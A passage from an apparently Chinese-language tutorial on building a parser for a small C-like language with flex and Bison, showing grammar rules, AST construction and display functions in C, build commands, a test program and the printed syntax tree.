Specifier: TYPE {$$=mknode(TYPE,NULL,NULL,NULL,yylineno);strcpy($$->type_id,$1);$$->type=(!strcmp($1,"int")?INT:(!strcmp($1,"float")?FLOAT:CHAR));}
           ;
/* ExtDecList-变量名称列表:由一个或多个变量组成,多个变量之间用逗号隔开 */
ExtDecList: VarDec {$$=$1;} // 每一个EXT_DECLIST的结点,其第一棵子树对应一个变量名(ID类型的结点),第二棵子树对应剩下的外部变量名
            | VarDec COMMA ExtDecList {$$=mknode(EXT_DEC_LIST,$1,$3,NULL,yylineno);}
            ;
/* VarDec-变量名称:由一个ID组成 */
VarDec: ID {$$=mknode(ID,NULL,NULL,NULL,yylineno);strcpy($$->type_id,$1);} // ID结点,标识符符号串存放结点的type_id
        ;
/* FuncDec-函数声明:包括函数名和参数定义 */
FuncDec: ID LP VarList RP {$$=mknode(FUNC_DEC,$3,NULL,NULL,yylineno);strcpy($$->type_id,$1);} // 函数名存放在$$->type_id
         | ID LP RP {$$=mknode(FUNC_DEC,NULL,NULL,NULL,yylineno);strcpy($$->type_id,$1);} // 函数名存放在$$->type_id
         | error RP {$$=NULL; printf("---函数左括号右括号不匹配---\n");}
         ;
/* ArrayDec-数组声明 */
ArrayDec: ID LB Exp RB {$$=mknode(ARRAY_DEC,$3,NULL,NULL,yylineno);strcpy($$->type_id,$1);}
          | ID LB RB {$$=mknode(ARRAY_DEC,NULL,NULL,NULL,yylineno);strcpy($$->type_id,$1);}
          | error RB {$$=NULL;printf("---数组定义错误---\n");}
/* VarList-参数定义列表:由一个到多个参数定义组成,用逗号隔开 */
VarList: ParamDec {$$=mknode(PARAM_LIST,$1,NULL,NULL,yylineno);}
         | ParamDec COMMA VarList {$$=mknode(PARAM_LIST,$1,$3,NULL,yylineno);}
         ;
/* ParamDec-参数定义:固定由一个类型和一个变量组成 */
ParamDec: Specifier VarDec {$$=mknode(PARAM_DEC,$1,$2,NULL,yylineno);}
          ;
/* CompSt-复合语句:左右分别用大括号括起来,中间有定义列表和语句列表 */
CompSt: LC DefList StmList RC {$$=mknode(COMP_STM,$2,$3,NULL,yylineno);}
        | error RC {$$=NULL; printf("---复合语句内存在错误---\n");}
        ;
/* StmList-语句列表:由0个或多个语句stmt组成 */
StmList: {$$=NULL;}
         | Stmt StmList {$$=mknode(STM_LIST,$1,$2,NULL,yylineno);}
         ;
/* Stmt-语句:可能为表达式,复合语句,return语句,if语句,if-else语句,while语句,for语句 */
Stmt: Exp SEMI {$$=mknode(EXP_STMT,$1,NULL,NULL,yylineno);}
      | CompSt {$$=$1;} // 复合语句结点直接最为语句结点,不再生成新的结点
      | RETURN Exp SEMI {$$=mknode(RETURN,$2,NULL,NULL,yylineno);}
      | IF LP Exp RP Stmt %prec LOWER_THEN_ELSE {$$=mknode(IF_THEN,$3,$5,NULL,yylineno);}
      | IF LP Exp RP Stmt ELSE Stmt {$$=mknode(IF_THEN_ELSE,$3,$5,$7,yylineno);}
      | WHILE LP Exp RP Stmt {$$=mknode(WHILE,$3,$5,NULL,yylineno);}
      | FOR LP Exp RP Stmt {$$=mknode(FOR,$3,$5,NULL,yylineno);}
      ;
/* DefList-定义列表:由0个或多个定义语句组成 */
DefList: {$$=NULL; }
         | Def DefList {$$=mknode(DEF_LIST,$1,$2,NULL,yylineno);}
         ;
/* Def-定义:定义一个或多个语句语句,由分号隔开 */
Def: Specifier DecList SEMI {$$=mknode(VAR_DEF,$1,$2,NULL,yylineno);}
     | Specifier ArrayDec SEMI {$$=mknode(ARRAY_DEF,$1,$2,NULL,yylineno);}
     ;
/* DecList-语句列表:由一个或多个语句组成,由逗号隔开,最终都成一个表达式 */
DecList: Dec {$$=mknode(DEC_LIST,$1,NULL,NULL,yylineno);}
         | Dec COMMA DecList {$$=mknode(DEC_LIST,$1,$3,NULL,yylineno);}
         ;
/* Dec-语句:一个变量名称或者一个赋值语句(变量名称等于一个表达式) */
Dec: VarDec {$$=$1;}
     | VarDec ASSIGNOP Exp {$$=mknode(ASSIGNOP,$1,$3,NULL,yylineno);strcpy($$->type_id,"ASSIGNOP");}
     ;
/* Exp-表达式 */
Exp: Exp ASSIGNOP Exp {$$=mknode(ASSIGNOP,$1,$3,NULL,yylineno);strcpy($$->type_id,"ASSIGNOP");} // $$结点type_id空置未用,正好存放运算符
     | Exp AND Exp {$$=mknode(AND,$1,$3,NULL,yylineno);strcpy($$->type_id,"AND");}
     | Exp OR Exp {$$=mknode(OR,$1,$3,NULL,yylineno);strcpy($$->type_id,"OR");}
     | Exp RELOP Exp {$$=mknode(RELOP,$1,$3,NULL,yylineno);strcpy($$->type_id,$2);} // 词法分析关系运算符号自身值保存在$2中
     | Exp PLUS Exp {$$=mknode(PLUS,$1,$3,NULL,yylineno);strcpy($$->type_id,"PLUS");}
     | Exp MINUS Exp {$$=mknode(MINUS,$1,$3,NULL,yylineno);strcpy($$->type_id,"MINUS");}
     | Exp STAR Exp {$$=mknode(STAR,$1,$3,NULL,yylineno);strcpy($$->type_id,"STAR");}
     | Exp DIV Exp {$$=mknode(DIV,$1,$3,NULL,yylineno);strcpy($$->type_id,"DIV");}
     | Exp COMADD Exp {$$=mknode(COMADD,$1,$3,NULL,yylineno);strcpy($$->type_id,"COMADD");}
     | Exp COMSUB Exp {$$=mknode(COMSUB,$1,$3,NULL,yylineno);strcpy($$->type_id,"COMSUB");}
     | LP Exp RP {$$=$2;} /* 遇到左右括号,可直接忽略括号,Exp的值就为括号里面的Exp */
     | MINUS Exp %prec UMINUS {$$=mknode(UMINUS,$2,NULL,NULL,yylineno);strcpy($$->type_id,"UMINUS");}
     | NOT Exp {$$=mknode(NOT,$2,NULL,NULL,yylineno);strcpy($$->type_id,"NOT");}
     | AUTOADD Exp {$$=mknode(AUTOADD_L,$2,NULL,NULL,yylineno);strcpy($$->type_id,"AUTOADD");}
     | AUTOSUB Exp {$$=mknode(AUTOSUB_L,$2,NULL,NULL,yylineno);strcpy($$->type_id,"AUTOSUB");}
     | Exp AUTOADD {$$=mknode(AUTOADD_R,$1,NULL,NULL,yylineno);strcpy($$->type_id,"AUTOADD");}
     | Exp AUTOSUB {$$=mknode(AUTOSUB_R,$1,NULL,NULL,yylineno);strcpy($$->type_id,"AUTOSUB");}
     | ID LP Args RP {$$=mknode(FUNC_CALL,$3,NULL,NULL,yylineno);strcpy($$->type_id,$1);} // 函数定义后面的括号部分,只需要把括号里面的内容传入即可
     | ID LP RP {$$=mknode(FUNC_CALL,NULL,NULL,NULL,yylineno);strcpy($$->type_id,$1);} // 函数定义后面的括号部分没有参数
     | ID {$$=mknode(ID,NULL,NULL,NULL,yylineno);strcpy($$->type_id,$1);}
     | INT {$$=mknode(INT,NULL,NULL,NULL,yylineno);$$->type_int=$1;$$->type=INT;}
     | FLOAT {$$=mknode(FLOAT,NULL,NULL,NULL,yylineno);$$->type_float=$1;$$->type=FLOAT;}
     | CHAR {$$=mknode(CHAR,NULL,NULL,NULL,yylineno); $$->type_char=$1;$$->type=CHAR;}
     ;
/* Args-用逗号隔开的参数 */
Args: Exp COMMA Args {$$=mknode(ARGS,$1,$3,NULL,yylineno);}
      | Exp {$$=mknode(ARGS,$1,NULL,NULL,yylineno);}
      ;

%%
int main(int argc, char *argv[]){
  yyin=fopen(argv[1],"r");
  if (!yyin) 
    return 0;
  yylineno=1;
  yyparse();
  return 0;
}

#include<stdarg.h>
void yyerror(const char* fmt, ...)
{
  va_list ap;
  va_start(ap, fmt);
  fprintf(stderr, "Grammar Error at Line %d Column %d: ", yylloc.first_line,yylloc.first_column);
  vfprintf(stderr, fmt, ap);
  fprintf(stderr, ".\n");
}

生成抽象语法树

AST 不同于推导树，去掉了一些修饰性的单词部分，简明地把程序的语法结构表示出来，后续的语义分析、中间代码生成都可以通过遍历抽象语法树来完成

其实在语法分析的过程中，已经调用了可视化抽象语法树的函数 display：

1	program: ExtDefList { display($1,0);} /* 归约到program,显示语法树(display是自己实现的,用于可视化AST的函数) */

它的实现如下：

void display(struct node* T,int indent){
    if(T){
        switch (T->kind){
            case EXT_DEF_LIST:  
                display(T->ptr[0],indent);
                display(T->ptr[1],indent);
                break;
            case EXT_VAR_DEF:
                printf("%*c%s\n",indent,' ',"外部变量定义：");     
                display(T->ptr[0],indent+5);
                printf("%*c%s\n",indent+5,' ',"变量名：");
                display(T->ptr[1],indent+5);
                break;
            case FUNC_DEF:
                printf("%*c%s\n",indent,' ',"函数定义：");
                display(T->ptr[0],indent+5);
                display(T->ptr[1],indent+5);
                display(T->ptr[2],indent+5);
                break;
            case ARRAY_DEF:
                printf("%*c%s\n",indent,' ',"数组定义：");
                display(T->ptr[0],indent+5);
                display(T->ptr[1],indent+5);
                break;
            case FUNC_DEC:
                printf("%*c%s%s\n",indent,' ',"函数名：",T->type_id);
                printf("%*c%s\n",indent,' ',"函数型参：");
                display(T->ptr[0],indent+5);
                break;
            case ARRAY_DEC:
                printf("%*c%s%s\n",indent,' ',"数组名：",T->type_id);
                printf("%*c%s\n",indent,' ',"数组大小：");
                display(T->ptr[0],indent+5);
                break;
            case EXT_DEC_LIST:
                display(T->ptr[0],indent+5);
                if(T->ptr[1]->ptr[0]==NULL)
                    display(T->ptr[1],indent+5);
                else
                    display(T->ptr[1],indent);
                break;
            case PARAM_LIST:
                display(T->ptr[0],indent);
                display(T->ptr[1],indent);
                break;
            case PARAM_DEC:
                display(T->ptr[0],indent);
                display(T->ptr[1],indent);
                break;
            case VAR_DEF:
                display(T->ptr[0],indent+5);
                display(T->ptr[1],indent+5);
                break;
            case DEC_LIST:
                printf("%*c%s\n",indent,' ',"变量名：");
                display(T->ptr[0],indent+5);
                display(T->ptr[1],indent);
                break;
            case DEF_LIST:
                printf("%*c%s\n",indent+5,' ',"LOCAL VAR_NAME：");
                display(T->ptr[0],indent+5);
                display(T->ptr[1],indent);
                break;
            case COMP_STM:
                printf("%*c%s\n",indent,' ',"复合语句：");
                printf("%*c%s\n",indent+5,' ',"复合语句的变量定义：");
                display(T->ptr[0],indent+5);
                printf("%*c%s\n",indent+5,' ',"复合语句的语句部分：");
                display(T->ptr[1],indent+5);
                break;
            case STM_LIST:
                display(T->ptr[0],indent+5);
                display(T->ptr[1],indent);
                break;
            case EXP_STMT:
                printf("%*c%s\n",indent,' ',"表达式语句：");
                display(T->ptr[0],indent+5);
                break;
            case IF_THEN:
                printf("%*c%s\n",indent,' ',"条件语句（if-else）：");
                printf("%*c%s\n",indent,' ',"条件：");
                display(T->ptr[0],indent+5);
                printf("%*c%s\n",indent,' ',"IF语句：");
                display(T->ptr[1],indent+5);
                break;
            case IF_THEN_ELSE:
                printf("%*c%s\n",indent,' ',"条件语句（if-else-if）：");
                display(T->ptr[0],indent+5);
                display(T->ptr[1],indent+5);
                break;
            case WHILE:
                printf("%*c%s\n",indent,' ',"循环语句（while）：");
                printf("%*c%s\n",indent+5,' ',"循环条件：");
                display(T->ptr[0],indent+5);
                printf("%*c%s\n",indent+5,' ',"循环体：");
                display(T->ptr[1],indent+5);
                break;
            case FOR:
                printf("%*c%s\n",indent,' ',"循环语句（for）：");
                printf("%*c%s\n",indent+5,' ',"循环条件：");
                display(T->ptr[0],indent+5);
                printf("%*c%s\n",indent+5,' ',"循环体：");
                display(T->ptr[1],indent+5);
                break;
            case FUNC_CALL:
                printf("%*c%s\n",indent,' ',"函数调用：");
                printf("%*c%s%s\n",indent+5,' ',"函数名：",T->type_id);
                printf("%*c%s\n",indent+5,' ',"第一个实际参数表达式：");
                display(T->ptr[0],indent+5);
                break;
            case ARGS:
                display(T->ptr[0],indent+5);
                display(T->ptr[1],indent+5);
                break;
            case ID:
                printf("%*cID： %s\n",indent,' ',T->type_id); // 控制新的一行输出的空格数,indent代替%*c中*
                break;
            case INT:
                printf("%*cINT： %d\n",indent,' ',T->type_int);  
                break;
            case FLOAT:
                printf("%*cFLOAT： %f\n",indent,' ',T->type_float);  
                break;
            case CHAR:
                printf("%*cCHAR： %c\n",indent,' ',T->type_char);
            case ARRAY:
                printf("%*c数组名称： %s\n",indent,' ',T->type_id);  
                break;
            case TYPE:
                if(T->type==INT)
                    printf("%*c%s\n",indent,' ',"类型：int");
                else if(T->type==FLOAT)
                    printf("%*c%s\n",indent,' ',"类型：float");
                else if(T->type==CHAR)
                    printf("%*c%s\n",indent,' ',"类型：char");
                else if(T->type==ARRAY)
                    printf("%*c%s\n",indent,' ',"类型：char型数组");
                break;
            case ASSIGNOP:
            case OR:
            case AUTOADD_L:
            case AUTOSUB_L:
            case AUTOADD_R:
            case AUTOSUB_R:
            case AND:
            case RELOP:
            case PLUS:
            case MINUS:
            case STAR:
            case DIV:
            case COMADD:
            case COMSUB:
                printf("%*c%s\n",indent,' ',T->type_id);
                display(T->ptr[0],indent+5);
                display(T->ptr[1],indent+5);
                break;
            case RETURN:
                printf("%*c%s\n",indent,' ',"返回语句：");
                display(T->ptr[0],indent+5);
                break;  
        }
    }
}

其实就是根据不同的节点来进行不同的操作

在语法分析中使用的，用于创建新节点的函数 mknode 的实现如下：

struct node *mknode(int kind,struct node *first,struct node *second, struct node *third,int pos ){
  struct node *tempnode = (struct node*)malloc(sizeof(struct node));
  tempnode->kind = kind;
  tempnode->ptr[0] = first;
  tempnode->ptr[1] = second;
  tempnode->ptr[2] = third;
  tempnode->pos = pos;
  return tempnode;
}

编译与结果

编译命令：

1
2
3

flex lexer.l # 生成lexer.yy.c
bison -d -v parser.y # 生成parser.tab.h, parser.tab.c 
gcc display.c parser.tab.c lex.yy.c -lfl -o test1

测试文件：

int a,b,c;//可改错误1：缺少分号
float m,n;
char c1,c2;//增加char类型
char a[10];//增加数组的定义
int fibo(int a)
{/*注释部分自动去掉*/
	int i;
	if(a == 1 || a == 2){
	  return 1;
        }
	for(i<15){//增加了for语句循环
          i++;
	}
	return fibo(a-1)+fibo(a-2);
}
int main()//注释部分自动去掉
{
	int m,n,i;
	char c;
	float ar[20];
	m=read();
	i=1;
	i++;
	--i;//加了自增和自减
	m+=i+15;//加了复合赋值运算
	while(i <= m){
		n=fibo(i);
		write(n);
		i=i+1;
	}
	return 1;
}

最终结果：

➜  exercise-1 ./test1 test.c
 外部变量定义：
     类型：int
     变量名：
          ID： a
          ID： b
          ID： c
 外部变量定义：
     类型：float
     变量名：
          ID： m
          ID： n
 外部变量定义：
     类型：char
     变量名：
          ID： c1
          ID： c2
 数组定义：
     类型：char
     数组名：a
     数组大小：
          INT： 10
 函数定义：
     类型：int
     函数名：fibo
     函数型参：
          类型：int
          ID： a
     复合语句：
          复合语句的变量定义：
               LOCAL VAR_NAME：
                    类型：int
                    变量名：
                         ID： i
          复合语句的语句部分：
               条件语句（if-else）：
               条件：
                    OR
                         ==
                              ID： a
                              INT： 1
                         ==
                              ID： a
                              INT： 2
               IF语句：
                    复合语句：
                         复合语句的变量定义：
                         复合语句的语句部分：
                              返回语句：
                                   INT： 1
               循环语句（for）：
                    循环条件：
                    <
                         ID： i
                         INT： 15
                    循环体：
                    复合语句：
                         复合语句的变量定义：
                         复合语句的语句部分：
                              表达式语句：
                                   AUTOADD
                                        ID： i
               返回语句：
                    PLUS
                         函数调用：
                              函数名：fibo
                              第一个实际参数表达式：
                                   MINUS
                                        ID： a
                                        INT： 1
                         函数调用：
                              函数名：fibo
                              第一个实际参数表达式：
                                   MINUS
                                        ID： a
                                        INT： 2
 函数定义：
     类型：int
     函数名：main
     函数型参：
     复合语句：
          复合语句的变量定义：
               LOCAL VAR_NAME：
                    类型：int
                    变量名：
                         ID： m
                    变量名：
                         ID： n
                    变量名：
                         ID： i
               LOCAL VAR_NAME：
                    类型：char
                    变量名：
                         ID： c
               LOCAL VAR_NAME：
               数组定义：
                    类型：float
                    数组名：ar
                    数组大小：
                         INT： 20
          复合语句的语句部分：
               表达式语句：
                    ASSIGNOP
                         ID： m
                         函数调用：
                              函数名：read
                              第一个实际参数表达式：
               表达式语句：
                    ASSIGNOP
                         ID： i
                         INT： 1
               表达式语句：
                    AUTOADD
                         ID： i
               表达式语句：
                    AUTOSUB
                         ID： i
               表达式语句：
                    COMADD
                         ID： m
                         PLUS
                              ID： i
                              INT： 15
               循环语句（while）：
                    循环条件：
                    <=
                         ID： i
                         ID： m
                    循环体：
                    复合语句：
                         复合语句的变量定义：
                         复合语句的语句部分：
                              表达式语句：
                                   ASSIGNOP
                                        ID： n
                                        函数调用：
                                             函数名：fibo
                                             第一个实际参数表达式：
                                                  ID： i
                              表达式语句：
                                   函数调用：
                                        函数名：write
                                        第一个实际参数表达式：
                                             ID： n
                              表达式语句：
                                   ASSIGNOP
                                        ID： i
                                        PLUS
                                             ID： i
                                             INT： 1
               返回语句：
                    INT： 1